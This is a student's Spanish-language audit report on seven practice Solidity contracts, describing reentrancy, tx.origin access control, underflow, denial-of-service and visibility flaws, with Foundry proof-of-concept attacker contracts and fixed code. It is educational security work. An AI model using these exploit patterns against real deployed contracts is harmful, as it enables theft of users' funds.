Informe de Auditoría: Prácticas Módulo 3

Nombre: Luis Miguel Campos García
Fecha: 26/03/2026

Índice

Introducción y metodología 3
Resumen ejecutivo 3
Scope 4
Criterios de clasificación 5
Resultados detallados 6
Anexos 13

Introducción y metodología

Inicio: 26 mar 2026
Fin: 02 abril 2026

Los contratos auditados están principalmente orientados a la gestión y flujo de fondos, incluyendo funcionalidades como la recaudación de dinero, distribución de pagos y mecanismos de reembolso. Este tipo de contratos implica un manejo directo de activos, lo que incrementa la importancia de garantizar su seguridad y correcto funcionamiento.

La metodología empleada ha consistido, en primer lugar, en un análisis manual del código para comprender la lógica de cada contrato e identificar posibles vulnerabilidades. Posteriormente, se han desarrollado pruebas específicas utilizando el framework Foundry con el objetivo de verificar de forma práctica la existencia y explotabilidad de los fallos detectados.

Resumen ejecutivo

Los fallos identificados introducen riesgos significativos tanto para los usuarios como para el funcionamiento global del sistema. Por un lado, los usuarios pueden verse afectados por la pérdida total o parcial de sus fondos, así como por la imposibilidad de acceder o retirar su dinero en determinadas situaciones. Por otro lado, estos errores comprometen la estabilidad y fiabilidad del protocolo, pudiendo provocar bloqueos en su funcionamiento, comportamientos inesperados, pérdida del control o incluso su inutilización. En conjunto, estas vulnerabilidades no solo afectan a la seguridad económica de los usuarios, sino que también deterioran la confianza en el sistema y ponen en riesgo su correcto funcionamiento a largo plazo.

Scope

Archivo	SHA256
04_RefundManager.sol	3dca55656f65978dee0eda6332457c67d2ff08e526ce68a8866964c7b29fb332
05_OfficeTreasury.sol	5c8a1301fbd508befaad81cd4f62f13c1ddb78bf40f70ce2cebf36a1093221f8
06_ProjectEscrow.sol	17cc444d51cc9514f7c612ca4407fb54e65f03432e129c5808bd1bca4c0e13c9
07_LoyaltyGiftShop.sol	2f60873b290eb621b7199de8305488acd0e108b0d5c5c31237f0675c5c8ae353
08_ScholarshipFund.sol	00a321e19e8cc0509a4368fc47b9b970fc271667b82c13976db3c2dac77b984e
09_GroupGiftRefunds.sol	808825cad5f7d3cfc3f8e57997086cf3e19bc6900fb5b031d9901f09a52982e8
10_TeamWallet.sol	d46014d7184f74df08e091ac7826aff83f604b50b5c601f59c014c34e2d867c3

Criterios de clasificación

Por simplicidad tomaremos los de Oak

Severity	Description
Critical	A serious and exploitable vulnerability that can lead to loss of funds, unrecoverable locked funds, or catastrophic denial of service.
Major	A vulnerability or bug that can affect the correct functioning of the system, lead to incorrect states or denial of service.
Minor	A violation of common best practices or incorrect usage of primitives, which may not currently have a major impact on security, but may do so in the future or introduce inefficiencies.
Informational	Comments and recommendations of design decisions or potential optimizations, that are not relevant to security. Their application may improve aspects, such as user experience or readability, but is not strictly necessary. This category may also include opinionated recommendations that the project team might not share.

Resultados detallados

[CRITICAL] #1 - Reembolso fallido conlleva la pérdida definitiva de los fondos del usuario

Descripción:
El usuario puede perder sus fondos si se produce un fallo en la transacción de reembolso.

En caso de fallar la llamada a la función `call`, el destinatario no recibe los fondos y al modificarse anteriormente el estado de `processed[user]` y `approvedRefunds[user]` queda marcado como procesado y, por tanto, sin acceso definitivo a esos fondos.

Zona afectada del código:
`04_RefundManager.sol` línea 47

```
    function processRefund(address user) external onlyOwner {
        uint256 amount = approvedRefunds[user];
        require(amount > 0, "No refund configured");
        require(!processed[user], "Already processed");

        processed[user] = true;
        approvedRefunds[user] = 0;

        (bool success, ) = payable(user).call{value: amount}("");
        if (success) {
            totalPaid += amount;
        }
    }
```

Recomendación:
Añadir un `require` para que en caso de fallar la transacción revierta la operación.

[CRITICAL] #2 – Mala implementación para el control de acceso

Descripción:
Un contrato atacante puede hacerse con el control del contrato.

El modificador que controla el acceso a las funciones del contrato hace uso de `tx.origin`, lo que indica quién inició la transacción, por lo que un atacante que engañe al contrato para que interactúe con él, tiene acceso a todas la funciones del contrato ya que el origen de la transacción será el `owner` del contrato.

Este fallo ocasiona la pérdida de control de todo el contrato.

Zona afectada del código:
`05_OfficeTreasury.sol` línea 27

```
    modifier onlyOwner() {
        require(tx.origin == owner, "Not authorized");
        _;
    }
```

Recomendación:
Usar `msg.sender` en el control de acceso. Comprobando así quién está realizando la llamada y no quién la inició.

[CRITICAL] #3 – Fallo de reentrada

Descripción:
Un usuario puede retirar continuamente fondos del contrato sin importar los fondos asignados.

La función `cancelSupport` no modifica el estado de la variable `contributions[msg.sender]` antes de realizar la llamada a la función `call`, lo que da al usuario la posibilidad de hacer sucesivas llamadas a `cancelSupport` y retirar fondos sin importar los fondos que tenga asignados.

La explotación de este fallo supone la pérdida total del saldo del contrato y, lo que también significa, la pérdida del saldo de los usuarios del contrato.

Zona afectada del código:
`06_ProjectEscrow.sol` línea 51

```
    function cancelSupport() external {
        require(!fundingFinalized, "Funding closed");

        uint256 amount = contributions[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        (bool ok, ) = payable(msg.sender).call{value: amount}("");
        require(ok, "Transfer failed");

        contributions[msg.sender] = 0;
    }
```

Recomendación:
Modificar el estado de la variable `contributions[msg.sender]` antes de realizar la llamada a la función `call`.

[CRITICAL] #4 – Fondos inaccesibles

Descripción:
Los fondos recaudados quedan inaccesibles si se supera la cantidad objetivo.

En la función `releaseScholarship` se comprueba si el balance del contrato es exactamente igual al objetivo, de forma que si se supera dicho objetivo ni se puede liberar la beca ni se puede reclamar el reembolso, ya que en la función `claimRefund` se realiza el pago si no se ha llegado al objetivo.

Zona afectada del código:
`08_ScholarshipFund.sol` línea 51

```
    function releaseScholarship(address payable student) external
onlyOrganizer {
        require(block.timestamp >= deadline, "Too early");
        require(!released, "Already released");

        require(address(this).balance == goal, "Goal not reached");

        released = true;
        (bool ok, ) = student.call{value: address(this).balance}("");
        require(ok, "Transfer failed");
    }
```

Recomendación:
Modificar el control para que libere la recaudación cuando se iguale o supere el objetivo. Puede implementarse un control de la cantidad donada para no superar el objetivo.

[CRITICAL] #5 – Denegación de servicio por fallo en llamada externa

Descripción:
En el caso de fallar un reembolso se revierten todos los reembolsos y los usuarios no pueden recuperar sus contribuciones.

En la función `refundAll` si falla el reembolso de un miembro, el `require` provoca el `revert` de la función y, por tanto, el `revert` de todas las transacciones que se hayan realizado hasta el fallo.

Un atacante puede acceder como miembro y ocasionar que falle su reembolso, provocando la denegación de servicio al resto de usuarios.

Zona afectada del código:
`09_GroupGiftRefunds.sol` línea 82

```
    function refundAll() external onlyOwner {
        require(cancelled, "Not cancelled");

        for (uint256 i = 0; i < members.length; i++) {
            address member = members[i];
            uint256 amount = contributions[member];

            if (amount > 0) {
                contributions[member] = 0;

                (bool ok, ) = payable(member).call{value: amount}("");
                require(ok, "Refund failed");
            }
        }
    }
```

Recomendación:
No revertir todas las transacciones, comprando el resultado de la transacción y en el caso exitoso modificar el estado de `contributions[member]`.

[CRITICAL] #6 – Visibilidad incorrecta

Descripción:
Cualquier usuario puede hacer transacciones ocasionando la pérdida de los fondos del contrato.

La función `_executePayment` tiene visibilidad `public` por lo que cualquier usuario puede usar dicha función, permitiéndole hacer transacciones y vaciar los fondos del contrato.

Zona afectada del código:
`10_TeamWallet.sol` línea 51

```
    function _executePayment(address payable supplier, uint256 amount) public
{
        paymentCount += 1;

        (bool ok, ) = supplier.call{value: amount}("");
        require(ok, "Payment failed");
    }
}
```

Recomendación:
Modificar la visibilidad de la función a `internal` para ser usada únicamente por el `owner` del contrato.

[MAJOR] #7 – Fallo de underflow

Descripción:
Los usuarios pueden canjear puntos por regalos continuamente.

Debido a desactivarse las comprobaciones automáticas de overflow/underflow con el uso del bloque `unchecked` cuando el usuario cuenta con menos puntos de los necesarios, en la operación `points[msg.sender] -= giftPrice` se produce underflow, asignando como resultado un número de puntos incorrecto y dando al usuario la posibilidad de retirar regalos de forma indefinida.

La explotación de este fallo supone un mal funcionamiento del contrato y puede suponer un coste inesperado en regalos.

Zona afectada del código:
`07_LoyaltyGiftShop.sol` línea 42

```
    function redeemGift() external {
        unchecked {
            points[msg.sender] -= giftPrice;
        }

        redeemedGifts[msg.sender] += 1;
    }
```

Recomendación:
Sustituir el bloque `unchecked` por un `require` donde se compruebe que el número de puntos con los que cuenta el usuario es igual o superior al necesario para obtener un regalo.

Anexos

04_RefundMacnager.t.sol:

```
import {Test} from "forge-std/Test.sol";
import {RefundManager} from "../src/04_RefundManager.sol";

contract Revert {

    receive() external payable {
        revert();
    }
}

contract RefundManagerTest is Test {
    RefundManager public refundManager;
    Revert public user = new Revert();

    function setUp() public {

        refundManager = new RefundManager();
        vm.prank(refundManager.owner());
        refundManager.setRefund(address(user), 1 ether);
    }

    function test_processRefund() public {

        refundManager.processRefund(address(user));

        assertEq(refundManager.processed(address(user)), true, "Refund was not
marked as processed");
        assertEq(address(user).balance, 1 ether, "Refund was not processed
correctly");
    }
}
```

05_OfficeTreasury.t.sol:

```
import {Test} from "forge-std/Test.sol";
import {OfficeTreasury} from "../src/05_OfficeTreasury.sol";

contract Attacker {
    OfficeTreasury public victim;

    constructor(address _victim) {
        victim = OfficeTreasury(_victim);
    }

    function attack(address payable recipient, uint256 amount) public {
        victim.payExpense(recipient, amount);
    }

    function attackChangeOwner(address newOwner) public {
        victim.changeOwner(newOwner);
    }

    receive() external payable {}
}


contract OfficeTreasuryTest is Test {
    OfficeTreasury public victim;
    Attacker public attacker;

    address owner = address(1);
    address attackerEOA = address(2);

    function setUp() public {

        vm.prank(owner);
        victim = new OfficeTreasury();
        vm.deal(address(victim), 10 ether);
        attacker = new Attacker(address(victim));
    }

    function test_changeOwner() public {

        vm.startPrank(owner, owner);
        attacker.attackChangeOwner(attackerEOA);
        vm.stopPrank();

        assertEq(victim.owner(), attackerEOA);
    }
```

```
    function test_payExpense() public {

        vm.startPrank(owner, owner);
        attacker.attack(payable(attackerEOA), 1 ether);
        vm.stopPrank();

        assertEq(address(attackerEOA).balance, 1 ether);
        assertEq(address(victim).balance, 9 ether);
    }
}
```

06_ProjectEscrow.t.sol:

```
import {Test} from "forge-std/Test.sol";
import {ProjectEscrow} from "../src/06_ProjectEscrow.sol";

contract Attacker {
    ProjectEscrow public victim;

    constructor(address _victim) {
        victim = ProjectEscrow(_victim);
    }
    function deposit() external payable {
        victim.supportProject{value: msg.value}();
    }

    function withdraw() external {
        victim.cancelSupport();
    }

    receive() external payable {
        if (address(victim).balance >= 1 ether) {
            victim.cancelSupport();
        }
    }
}


contract ProjectEscrowTest is Test {
    ProjectEscrow public victim;
    Attacker public attacker;

    function setUp() public {

        victim = new ProjectEscrow();
        attacker = new Attacker(address(victim));
```

```
        vm.deal(address(victim), 5 ether);
        vm.deal(address(attacker), 1 ether);
    }

    function test_cancelSupport() public {

        attacker.deposit{value: 1 ether}();
        attacker.withdraw();

        assertEq(address(attacker).balance, 1 ether, "Attacker balance is
incorrect");
        assertEq(address(victim).balance, 5 ether, "Victim balance is
incorrect");

    }
}
```

07_LoyaltyGiftShop.t.sol:

```
contract LoyaltyGiftShopTest is Test {
    LoyaltyGiftShop public victim;

    address user = address(1);

    function setUp() public {

        victim = new LoyaltyGiftShop();
        vm.prank(victim.owner());
        victim.setGiftPrice(100);
        victim.grantPoints(user, 90);
    }

    function test_redeemGift() public {

        vm.prank(user);
        victim.redeemGift();

        assertEq(victim.points(user), 90);
        assertEq(victim.redeemedGifts(user), 0);
    }
}
```

08_ScholarshipFund.t.sol:

```
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {ScholarshipFund} from "../src/08_ScholarshipFund.sol";

contract ScholarshipFundTest is Test {
    ScholarshipFund public vcontract;

    address student = address(1);
    address donor = address(2);

    function setUp() public {
        vcontract = new ScholarshipFund(10, block.timestamp + 1 days);
        vm.deal(donor, 11 ether);
    }

    function test_ScholarshipFund() public {

        vm.prank(donor);
        console.log("Balance :", address(vcontract).balance);
        vcontract.contribute{value: 11 ether}();
        console.log("Balance of the contract after contribution:",
address(vcontract).balance);
        assertEq(address(vcontract).balance, 11 ether);

        vm.warp(block.timestamp + 2 days);
        console.log("Pasan 2 dias");
        vcontract.releaseScholarship(payable(student));
        console.log("Balance of the student after receiving scholarship:",
student.balance);
        assertEq(student.balance, 11 ether);
    }
}
```

09_GroupGiftRefunds.t.sol

```
import {Test} from "forge-std/Test.sol";
import {GroupGiftRefunds} from "../src/09_GroupGiftRefunds.sol";

contract Attacker {

    receive() external payable {
        revert();
    }
}

contract GroupGiftRefundsTest is Test {
    GroupGiftRefunds public victim;
    Attacker public attacker = new Attacker();

    address user1 = address(1);
    address user2 = address(2);
    address user3 = address(3);
    address user4 = address(4);
    address recipient = address(5);

    function setUp() public {
        victim = new GroupGiftRefunds(1 ether, recipient);

        vm.deal(user1, 1 ether);
        vm.deal(user2, 1 ether);
        vm.deal(address(attacker), 1 ether);
        vm.deal(user3, 1 ether);
        vm.deal(user4, 1 ether);
    }

    function test_GroupGiftRefunds() public {

        vm.prank(user1);
        victim.join{value: 1 ether}();

        vm.prank(user2);
        victim.join{value: 1 ether}();

        vm.prank(address(attacker));
        victim.join{value: 1 ether}();

        vm.prank(user3);
        victim.join{value: 1 ether}();

        vm.prank(user4);
        victim.join{value: 1 ether}();
```

```
        vm.prank(victim.owner());
        victim.cancelCampaign();
        victim.refundAll();
    }
}
```

10_TeamWallet.t.sol:

Añado un log en la función para ver quién la ha llamado:

```
function _executePayment(address payable supplier, uint256 amount) public{

    console.log("Quien ha hecho la llamada: ", msg.sender);
    paymentCount += 1;
    (bool ok, ) = supplier.call{value: amount}("");
    require(ok, "Payment failed");
}
```

```
import {Test} from "forge-std/Test.sol";
import {TeamWallet} from "../src/10_TeamWallet.sol";


contract TeamWalletTest is Test {
    TeamWallet public victim;

    address user = address(1);

    function setUp() public {

        victim = new TeamWallet();
        vm.deal(address(victim), 10 ether);
    }

    function test_executePayment() public {

        vm.startPrank(user);
        victim._executePayment(payable(user), 10 ether);
        vm.stopPrank();
        assertEq(address(user).balance, 10 ether);
        assertEq(address(victim).balance, 0 ether);
    }
}
```

Soluciones práctica 2

04_RefundManager.sol :

```
function processRefund(address user) external onlyOwner {
    uint256 amount = approvedRefunds[user];
    require(amount > 0, "No refund configured");
    require(!processed[user], "Already processed");

    processed[user] = true;
    approvedRefunds[user] = 0;

    (bool success, ) = payable(user).call{value: amount}("");
    require(success, "Refund failed");
    if (success) {
        totalPaid += amount;
    }
}
```

05_OfficeTreasury.sol:

```
modifier onlyOwner() {
    require(msg.sender == owner, "Not authorized");
    _;
}
```

06_ProjectEscrow.sol:

```
function cancelSupport() external {
    require(!fundingFinalized, "Funding closed");

    uint256 amount = contributions[msg.sender];
    require(amount > 0, "Nothing to withdraw");

    contributions[msg.sender] = 0;

    (bool ok, ) = payable(msg.sender).call{value: amount}("");
    require(ok, "Transfer failed");
}
```

07_LoyaltyGiftShop.sol:

```
    function redeemGift() external {

        require(points[msg.sender] >= giftPrice, "Not enough points");
        points[msg.sender] -= giftPrice;
        redeemedGifts[msg.sender] += 1;
    }
```

08_ScholarshipFund.sol:

```
    function releaseScholarship(address payable student) external
onlyOrganizer {
        require(block.timestamp >= deadline, "Too early");
        require(!released, "Already released");

        require(address(this).balance >= goal, "Goal not reached");

        released = true;
        (bool ok, ) = student.call{value: address(this).balance}("");
        require(ok, "Transfer failed");
    }
```

09_GroupGiftRefunds.sol:

```
    function refundAll() external onlyOwner {
        require(cancelled, "Not cancelled");

        for (uint256 i = 0; i < members.length; i++) {
            address member = members[i];
            uint256 amount = contributions[member];

            if (amount > 0) {

                (bool ok, ) = payable(member).call{value: amount}("");
                if (ok) {
                    contributions[member] = 0;
                }
            }
        }
    }
```

10_TeamWallet.sol:

```
function _executePayment(address payable supplier, uint256 amount) internal {
        paymentCount += 1;

        (bool ok, ) = supplier.call{value: amount}("");
        require(ok, "Payment failed");
    }
```